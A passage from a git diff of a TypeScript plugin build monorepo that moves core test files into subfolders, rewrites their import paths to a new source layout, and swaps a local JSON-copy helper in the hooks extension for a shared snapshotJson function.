snapshotJson(hidden, 'Fixture')).toThrow('enumerable data property'); + expect(() => snapshotJson(symbol, 'Fixture')).toThrow('Symbol'); + expect(() => snapshotJson(sparse, 'Fixture')).toThrow('sparse'); + expect(() => snapshotJson(inheritedArray, 'Fixture')).toThrow('plain array'); + }); + + it('rejects cycles, unsupported primitives and non-finite numbers with stable paths', () => { + /** 自引用对象验证 ancestor-based cycle detection。 */ + const cycle: Record = {}; + cycle.self = cycle; + + expect(() => snapshotJson(cycle, 'Fixture')).toThrow('Fixture.self must not contain cycles'); + expect(() => snapshotJson({ nested: undefined }, 'Fixture')).toThrow('Fixture.nested must contain only JSON values'); + expect(() => snapshotJson({ nested: 1n }, 'Fixture')).toThrow('Fixture.nested must contain only JSON values'); + expect(() => snapshotJson({ nested: Number.NaN }, 'Fixture')).toThrow('Fixture.nested must contain only finite JSON numbers'); + expect(() => snapshotJson({}, '')).toThrow('label must be a non-empty string'); + }); +}); diff --git a/packages/core/test/build-session.test.ts b/packages/core/test/lifecycle/build-session.test.ts similarity index 99% rename from packages/core/test/build-session.test.ts rename to packages/core/test/lifecycle/build-session.test.ts index 7ea1d88..6e14532 100644 --- a/packages/core/test/build-session.test.ts +++ b/packages/core/test/lifecycle/build-session.test.ts @@ -2,14 +2,14 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; -import type { BytesAssetRef, SourceAssetRef, SourceFileRef } from '../src/kernel-types.js'; -import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; +import type { BytesAssetRef, SourceAssetRef, SourceFileRef } from '../../src/contracts/index.js'; +import { defineExtension, definePlatform } from '../../src/api/definitions.js'; import { createKernelBuildEnvironment, disposeKernelBuildEnvironment, runKernelBuildSession, -} from '../src/kernel/build-session.js'; -import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; +} from '../../src/lifecycle/build-session.js'; +import { resolveKernelConfig } from '../../src/config/resolver.js'; /** 当前套件创建并统一删除的临时工程。 */ const roots: string[] = []; diff --git a/packages/core/test/dev-session-faults.test.ts b/packages/core/test/lifecycle/dev-session-faults.test.ts similarity index 95% rename from packages/core/test/dev-session-faults.test.ts rename to packages/core/test/lifecycle/dev-session-faults.test.ts index cccca12..d40f651 100644 --- a/packages/core/test/dev-session-faults.test.ts +++ b/packages/core/test/lifecycle/dev-session-faults.test.ts @@ -3,10 +3,10 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { DevSession, SourceFileRef } from '../src/kernel-types.js'; -import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; -import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; -import { createDevSession, type DevSessionRoundInput } from '../src/kernel/dev-session.js'; +import type { DevSession, SourceFileRef } from '../../src/contracts/index.js'; +import { defineExtension, definePlatform } from '../../src/api/definitions.js'; +import { resolveKernelConfig } from '../../src/config/resolver.js'; +import { createDevSession, type DevSessionRoundInput } from '../../src/lifecycle/dev-session.js'; /** 当前套件创建的工程和外部 package 根。 */ const roots: string[] = []; @@ -179,7 +179,7 @@ async function fixture(initialExternal = false): Promise<{ } /** 等待下一次公开 build-complete。 */ -function nextComplete(session: DevSession): Promise> { +function nextComplete(session: DevSession): Promise> { return new Promise((resolve) => { const unsubscribe = session.subscribe((event) => { if (event.type === 'build-complete') { @@ -204,7 +204,7 @@ describe('DevSession watcher fault boundaries', () => { if (failure === 'readiness') watcher.hideWatched = true; current.control.compileExternal = true; /** 同一 sequence 的公开事件必须在 watcher I/O 失败时仍成对。 */ - const events: import('../src/kernel-types.js').DevSessionEvent[] = []; + const events: import('../../src/contracts/index.js').DevSessionEvent[] = []; session.subscribe(event => events.push(event)); const complete = nextComplete(session); watcher.change(current.command); @@ -239,7 +239,7 @@ describe('DevSession watcher fault boundaries', () => { const session = await createDevSession(current.input); current.watcher().failClose = true; /** 显式观察 close rejection,防止测试本身制造 unhandledRejection。 */ - const events: import('../src/kernel-types.js').DevSessionEvent[] = []; + const events: import('../../src/contracts/index.js').DevSessionEvent[] = []; session.subscribe(event => events.push(event)); const close = session.close(); diff --git a/packages/core/test/transaction-v2.test.ts b/packages/core/test/output/transaction.test.ts similarity index 98% rename from packages/core/test/transaction-v2.test.ts rename to packages/core/test/output/transaction.test.ts index 5cd27e6..5f9aa61 100644 --- a/packages/core/test/transaction-v2.test.ts +++ b/packages/core/test/output/transaction.test.ts @@ -2,14 +2,14 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; -import type { PackageUnitSnapshot } from '../src/kernel-types.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { commitPackageUnits, type ManagedOutputPhase } from '../src/transaction.js'; - -/** Transaction v2 测试统一清理的临时工程根。 */ +import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { commitPackageUnits, type ManagedOutputPhase } from '../../src/output/transaction.js'; + +/** Transaction 测试统一清理的临时工程根。 */ const roots: string[] = []; /** @returns 一个工程根和当前 BuildSession Asset Registry。 */ diff --git a/packages/core/test/candidate-materializer.test.ts b/packages/core/test/package/candidate-materializer.test.ts similarity index 93% rename from packages/core/test/candidate-materializer.test.ts rename to packages/core/test/package/candidate-materializer.test.ts index a06a56d..5870dba 100644 --- a/packages/core/test/candidate-materializer.test.ts +++ b/packages/core/test/package/candidate-materializer.test.ts @@ -2,12 +2,12 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { PackageUnitSnapshot } from '../src/kernel-types.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { materializePackageCandidate, withPackageCandidate } from '../src/package/candidate-materializer.js'; +import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { materializePackageCandidate, withPackageCandidate } from '../../src/package/candidate-materializer.js'; /** Candidate 测试使用并统一清理的临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/compatibility-registry-v2.test.ts b/packages/core/test/package/compatibility.test.ts similarity index 96% rename from packages/core/test/compatibility-registry-v2.test.ts rename to packages/core/test/package/compatibility.test.ts index 55c6077..70785cb 100644 --- a/packages/core/test/compatibility-registry-v2.test.ts +++ b/packages/core/test/package/compatibility.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it } from 'vitest'; -import type { CanonicalProject } from '../src/kernel-types.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { CompatibilityRegistry, compatibilityTupleKey } from '../src/package/compatibility-registry.js'; +import type { CanonicalProject } from '../../src/contracts/index.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { CompatibilityRegistry, compatibilityTupleKey } from '../../src/package/compatibility.js'; /** @returns 带 Command → Skill 依赖和可选 metadata 的 Project。 */ function project(): CanonicalProject { @@ -31,7 +31,7 @@ function metadata() { })); } -describe('Compatibility Registry v2', () => { +describe('Compatibility Registry', () => { it('propagates dependency degradation and enforces strictness once on the final graph', () => { const diagnostics = new DiagnosticRegistry(); const registry = new CompatibilityRegistry({ project: project(), diagnostics }); diff --git a/packages/core/test/distribution-registry.test.ts b/packages/core/test/package/distribution-registry.test.ts similarity index 93% rename from packages/core/test/distribution-registry.test.ts rename to packages/core/test/package/distribution-registry.test.ts index 27c808a..66b1717 100644 --- a/packages/core/test/distribution-registry.test.ts +++ b/packages/core/test/package/distribution-registry.test.ts @@ -2,12 +2,12 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { AssetRef, PackageUnitSnapshot } from '../src/kernel-types.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { collectDistributionPackages, createDistributionPackage } from '../src/package/distribution-registry.js'; +import type { AssetRef, PackageUnitSnapshot } from '../../src/contracts/index.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { collectDistributionPackages, createDistributionPackage } from '../../src/package/distributions.js'; /** Distribution 测试统一清理的临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/document-codec.test.ts b/packages/core/test/package/document-codec.test.ts similarity index 91% rename from packages/core/test/document-codec.test.ts rename to packages/core/test/package/document-codec.test.ts index 52b64df..31a3eaf 100644 --- a/packages/core/test/document-codec.test.ts +++ b/packages/core/test/package/document-codec.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest'; -import type { PackageDocumentSnapshot } from '../src/kernel-types.js'; -import { encodePackageDocument } from '../src/package/document-codec.js'; +import type { PackageDocumentSnapshot } from '../../src/contracts/index.js'; +import { encodePackageDocument } from '../../src/package/documents.js'; /** @returns 指定格式和值的最小冻结 Document snapshot。 */ function document(format: PackageDocumentSnapshot['format'], value: PackageDocumentSnapshot['value']): PackageDocumentSnapshot { diff --git a/packages/core/test/package-registry.test.ts b/packages/core/test/package/package-registry.test.ts similarity index 97% rename from packages/core/test/package-registry.test.ts rename to packages/core/test/package/package-registry.test.ts index d37e4e9..a7b3abb 100644 --- a/packages/core/test/package-registry.test.ts +++ b/packages/core/test/package/package-registry.test.ts @@ -2,16 +2,16 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { PackageContribution, PlatformPackageInput } from '../src/kernel-types.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import type { PackageContribution, PlatformPackageInput } from '../../src/contracts/index.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { createBasePackage, finalizePrimaryPackage, mergePackageContributions, -} from '../src/package/package-registry.js'; +} from '../../src/package/registry.js'; /** Package Registry 测试临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/report-v2.test.ts b/packages/core/test/package/report-builder.test.ts similarity index 90% rename from packages/core/test/report-v2.test.ts rename to packages/core/test/package/report-builder.test.ts index d931b9b..72c9faf 100644 --- a/packages/core/test/report-v2.test.ts +++ b/packages/core/test/package/report-builder.test.ts @@ -2,14 +2,14 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { PackageUnitSnapshot } from '../src/kernel-types.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { createBuildReport, serializeBuildReport } from '../src/package/report-builder.js'; +import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { createBuildReport, serializeBuildReport } from '../../src/package/report-builder.js'; -/** Report v2 测试临时根。 */ +/** BuildReport 测试临时根。 */ const roots: string[] = []; /** @returns 带一个 structured-origin Asset 的 Package fixture。 */ diff --git a/packages/core/test/canonical-provider.test.ts b/packages/core/test/resources/canonical-provider.test.ts similarity index 91% rename from packages/core/test/canonical-provider.test.ts rename to packages/core/test/resources/canonical-provider.test.ts index 1deff1c..4db28cc 100644 --- a/packages/core/test/canonical-provider.test.ts +++ b/packages/core/test/resources/canonical-provider.test.ts @@ -2,16 +2,16 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { discoverCanonicalProject } from '../src/resources/canonical-provider.js'; -import { ResourceRegistry } from '../src/resources/resource-registry.js'; -import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; -import { definePlatform } from '../src/kernel-contracts.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { discoverCanonicalProject } from '../../src/resources/canonical/provider.js'; +import { ResourceRegistry } from '../../src/resources/registry.js'; +import { resolveKernelConfig } from '../../src/config/resolver.js'; +import { definePlatform } from '../../src/api/definitions.js'; /** Canonical Provider 测试临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/extension-provider.test.ts b/packages/core/test/resources/extension-provider.test.ts similarity index 96% rename from packages/core/test/extension-provider.test.ts rename to packages/core/test/resources/extension-provider.test.ts index b9e3ae5..8ae6044 100644 --- a/packages/core/test/extension-provider.test.ts +++ b/packages/core/test/resources/extension-provider.test.ts @@ -10,20 +10,20 @@ import type { ModuleService, PlatformBasePackageSnapshot, PlatformIntegrationDescription, -} from '../src/kernel-types.js'; -import { defineExtension } from '../src/kernel-contracts.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +} from '../../src/contracts/index.js'; +import { defineExtension } from '../../src/api/definitions.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { buildExtension, collectExtensionContributions, discoverExtension, preflightExtensionConsumers, validateExtension, -} from '../src/resources/extension-provider.js'; +} from '../../src/resources/extensions.js'; /** Extension Provider 测试根。 */ const roots: string[] = []; diff --git a/packages/core/test/project-graph.test.ts b/packages/core/test/resources/project-graph.test.ts similarity index 91% rename from packages/core/test/project-graph.test.ts rename to packages/core/test/resources/project-graph.test.ts index 8da30c0..8075aca 100644 --- a/packages/core/test/project-graph.test.ts +++ b/packages/core/test/resources/project-graph.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest'; -import type { CanonicalProject, NodeRuntimeResource, PublicResourceFile } from '../src/kernel-types.js'; -import { assembleProjectGraph } from '../src/resources/project-graph.js'; +import type { CanonicalProject, NodeRuntimeResource, PublicResourceFile } from '../../src/contracts/index.js'; +import { assembleProjectGraph } from '../../src/resources/project-graph.js'; describe('Project Graph assembly', () => { it('preserves immutable provider identities and exposes no project root', () => { diff --git a/packages/core/test/public-provider.test.ts b/packages/core/test/resources/public-provider.test.ts similarity index 91% rename from packages/core/test/public-provider.test.ts rename to packages/core/test/resources/public-provider.test.ts index 5e58d5d..3cf1ae1 100644 --- a/packages/core/test/public-provider.test.ts +++ b/packages/core/test/resources/public-provider.test.ts @@ -2,15 +2,15 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { definePlatform } from '../src/kernel-contracts.js'; -import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; -import { discoverPublicResources } from '../src/resources/public-provider.js'; +import { definePlatform } from '../../src/api/definitions.js'; +import { resolveKernelConfig } from '../../src/config/resolver.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; +import { discoverPublicResources } from '../../src/resources/public.js'; /** Public Provider 测试根。 */ const roots: string[] = []; diff --git a/packages/core/test/resource-registry.test.ts b/packages/core/test/resources/resource-registry.test.ts similarity index 92% rename from packages/core/test/resource-registry.test.ts rename to packages/core/test/resources/resource-registry.test.ts index 72bb878..51543e5 100644 --- a/packages/core/test/resource-registry.test.ts +++ b/packages/core/test/resources/resource-registry.test.ts @@ -2,13 +2,13 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; -import { resolveKernelConfig, type ResolvedKernelConfig } from '../src/kernel/config-resolver.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { ResourceRegistry } from '../src/resources/resource-registry.js'; +import { defineExtension, definePlatform } from '../../src/api/definitions.js'; +import { resolveKernelConfig, type ResolvedKernelConfig } from '../../src/config/resolver.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { ResourceRegistry } from '../../src/resources/registry.js'; /** Resource Registry 测试临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/runtime-paths.test.ts b/packages/core/test/resources/runtime-paths.test.ts similarity index 94% rename from packages/core/test/runtime-paths.test.ts rename to packages/core/test/resources/runtime-paths.test.ts index 5d77efb..0f8d135 100644 --- a/packages/core/test/runtime-paths.test.ts +++ b/packages/core/test/resources/runtime-paths.test.ts @@ -2,7 +2,7 @@ import { describe, expect, it } from 'vitest'; import { nodeRuntimeArtifactPath, nodeRuntimeLicensesArtifactPath, -} from '../src/resources/runtime-paths.js'; +} from '../../src/resources/runtime/paths.js'; describe('Node Runtime paths', () => { it('returns fixed predictable Package paths for valid entry IDs', () => { diff --git a/packages/core/test/runtime-provider.test.ts b/packages/core/test/resources/runtime-provider.test.ts similarity index 96% rename from packages/core/test/runtime-provider.test.ts rename to packages/core/test/resources/runtime-provider.test.ts index fbef5ed..f8b8722 100644 --- a/packages/core/test/runtime-provider.test.ts +++ b/packages/core/test/resources/runtime-provider.test.ts @@ -2,10 +2,10 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { discoverNodeRuntime } from '../src/resources/runtime-provider.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { discoverNodeRuntime } from '../../src/resources/runtime/provider.js'; /** Runtime Provider 测试根。 */ const roots: string[] = []; diff --git a/packages/core/test/asset-registry.test.ts b/packages/core/test/services/asset-registry.test.ts similarity index 96% rename from packages/core/test/asset-registry.test.ts rename to packages/core/test/services/asset-registry.test.ts index c564642..2dbd0b0 100644 --- a/packages/core/test/asset-registry.test.ts +++ b/packages/core/test/services/asset-registry.test.ts @@ -2,11 +2,11 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { AssetRef } from '../src/kernel-sdk.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import type { AssetRef } from '../../src/api/integration.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; /** Asset Registry 测试创建的临时根。 */ const roots: string[] = []; diff --git a/packages/core/test/execution-host.test.ts b/packages/core/test/services/execution-host.test.ts similarity index 93% rename from packages/core/test/execution-host.test.ts rename to packages/core/test/services/execution-host.test.ts index 5da79cc..f19a133 100644 --- a/packages/core/test/execution-host.test.ts +++ b/packages/core/test/services/execution-host.test.ts @@ -3,14 +3,14 @@ import os from 'node:os'; import path from 'node:path'; import process from 'node:process'; import { afterEach, describe, expect, it } from 'vitest'; -import type { AssetMode, GeneratedAssetRef } from '../src/kernel-types.js'; -import { CompilerHost } from '../src/compiler/compiler-host.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { ExecutionHost } from '../src/kernel/execution-host.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import type { AssetMode, GeneratedAssetRef } from '../../src/contracts/index.js'; +import { CompilerHost } from '../../src/compiler/compiler-service.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { ExecutionHost } from '../../src/services/execution.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; /** Execution Host 测试创建的临时工程根。 */ const roots: string[] = []; diff --git a/packages/core/test/module-host.test.ts b/packages/core/test/services/module-host.test.ts similarity index 96% rename from packages/core/test/module-host.test.ts rename to packages/core/test/services/module-host.test.ts index 48878c0..d8761dc 100644 --- a/packages/core/test/module-host.test.ts +++ b/packages/core/test/services/module-host.test.ts @@ -4,11 +4,11 @@ import os from 'node:os'; import path from 'node:path'; import { pathToFileURL } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { ModuleHost } from '../src/kernel/module-host.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { ModuleHost } from '../../src/services/modules.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; /** Module Host 测试创建的临时工程根。 */ const roots: string[] = []; diff --git a/packages/core/test/source-registry.test.ts b/packages/core/test/services/source-registry.test.ts similarity index 97% rename from packages/core/test/source-registry.test.ts rename to packages/core/test/services/source-registry.test.ts index a90182c..bcdedc3 100644 --- a/packages/core/test/source-registry.test.ts +++ b/packages/core/test/services/source-registry.test.ts @@ -2,9 +2,9 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourcePathCollisionRegistry } from '../src/kernel/path-policy.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourcePathCollisionRegistry } from '../../src/security/path-policy.js'; +import { SourceRegistry } from '../../src/services/sources.js'; /** Source Registry 测试创建的临时工程根。 */ const roots: string[] = []; diff --git a/packages/core/test/watch-registry.test.ts b/packages/core/test/services/watch-registry.test.ts similarity index 97% rename from packages/core/test/watch-registry.test.ts rename to packages/core/test/services/watch-registry.test.ts index 2e6e5a0..c6b085a 100644 --- a/packages/core/test/watch-registry.test.ts +++ b/packages/core/test/services/watch-registry.test.ts @@ -2,8 +2,8 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { WatchRegistry } from '../../src/services/watch.js'; /** Watch Registry 测试创建的临时根。 */ const roots: string[] = []; diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.ts index b6ce6cb..af84412 100644 --- a/packages/core/tsdown.config.ts +++ b/packages/core/tsdown.config.ts @@ -4,9 +4,9 @@ import { fileURLToPath } from 'node:url'; // 私有 Core 生成 Node ESM 与 OXC 声明,由主包内联并供工作区类型检查复用。 export default defineConfig({ entry: { - 'index': fileURLToPath(new URL('./src/index.ts', import.meta.url)), - 'kernel-author': fileURLToPath(new URL('./src/kernel-author.ts', import.meta.url)), - 'kernel-sdk': fileURLToPath(new URL('./src/kernel-sdk.ts', import.meta.url)), + index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), + author: fileURLToPath(new URL('./src/api/author.ts', import.meta.url)), + integration: fileURLToPath(new URL('./src/api/integration.ts', import.meta.url)), }, format: ['esm'], platform: 'node', diff --git a/packages/extensions/hooks/src/build.ts b/packages/extensions/hooks/src/build.ts index 3400012..874e64a 100644 --- a/packages/extensions/hooks/src/build.ts +++ b/packages/extensions/hooks/src/build.ts @@ -4,8 +4,8 @@ import type { PortableNodeCompileOptions, } from '@tokenroll/acplugin/sdk'; import type { HookDescriptorData, ValidatedHooks } from './discovery.js'; -import { createRunnerSource } from './runtime-source.js'; -import { createWireSource } from './wire-source.js'; +import { createRunnerSource } from './runtime/runner.js'; +import { createWireSource } from './runtime/wire.js'; /** portable Handler 内联官方平台协议的稳定虚拟模块。 */ const HOOK_WIRE_MODULE_ID = 'acplugin:hook-wire'; diff --git a/packages/extensions/hooks/src/contributors/opencode.ts b/packages/extensions/hooks/src/contributors/opencode.ts index fd7ffa8..0af48f8 100644 --- a/packages/extensions/hooks/src/contributors/opencode.ts +++ b/packages/extensions/hooks/src/contributors/opencode.ts @@ -1,7 +1,7 @@ import type { ContributionContext, PlatformContributor } from '@tokenroll/acplugin/sdk'; import type { BuiltHook, BuiltHooks } from '../build.js'; import { eventName } from '../discovery.js'; -import { createOpenCodePluginSource, runtimeHookDescriptor } from '../runtime-integration-source.js'; +import { createOpenCodePluginSource, runtimeHookDescriptor } from '../runtime/integration.js'; import { addHookRuntime, addRuntimeAsset, diff --git a/packages/extensions/hooks/src/contributors/pi.ts b/packages/extensions/hooks/src/contributors/pi.ts index 3ecea6c..7b0ae45 100644 --- a/packages/extensions/hooks/src/contributors/pi.ts +++ b/packages/extensions/hooks/src/contributors/pi.ts @@ -1,7 +1,7 @@ import type { ContributionContext, PlatformContributor } from '@tokenroll/acplugin/sdk'; import type { BuiltHook, BuiltHooks } from '../build.js'; import { eventName } from '../discovery.js'; -import { createPiExtensionSource, runtimeHookDescriptor } from '../runtime-integration-source.js'; +import { createPiExtensionSource, runtimeHookDescriptor } from '../runtime/integration.js'; import { addHookRuntime, addRuntimeAsset, diff --git a/packages/extensions/hooks/src/discovery.ts b/packages/extensions/hooks/src/discovery.ts index 2c18d35..acb3aa5 100644 --- a/packages/extensions/hooks/src/discovery.ts +++ b/packages/extensions/hooks/src/discovery.ts @@ -1,9 +1,10 @@ -import type { - ExtensionDiscoverContext, - ExtensionValidateContext, - JsonValue, - SourceDirectoryRef, - SourceFileRef, +import { + snapshotJson, + type ExtensionDiscoverContext, + type ExtensionValidateContext, + type JsonValue, + type SourceDirectoryRef, + type SourceFileRef, } from '@tokenroll/acplugin/sdk'; import { CLAUDE_CODE_PLATFORM_ID, @@ -77,65 +78,6 @@ function isPlainObject(value: unknown): value is Record { return prototype === Object.prototype || prototype === null; } -/** 深度复制一个无 accessor、Symbol、cycle 或 executable 的 JSON 值。 */ -function copyJson(value: unknown, path: 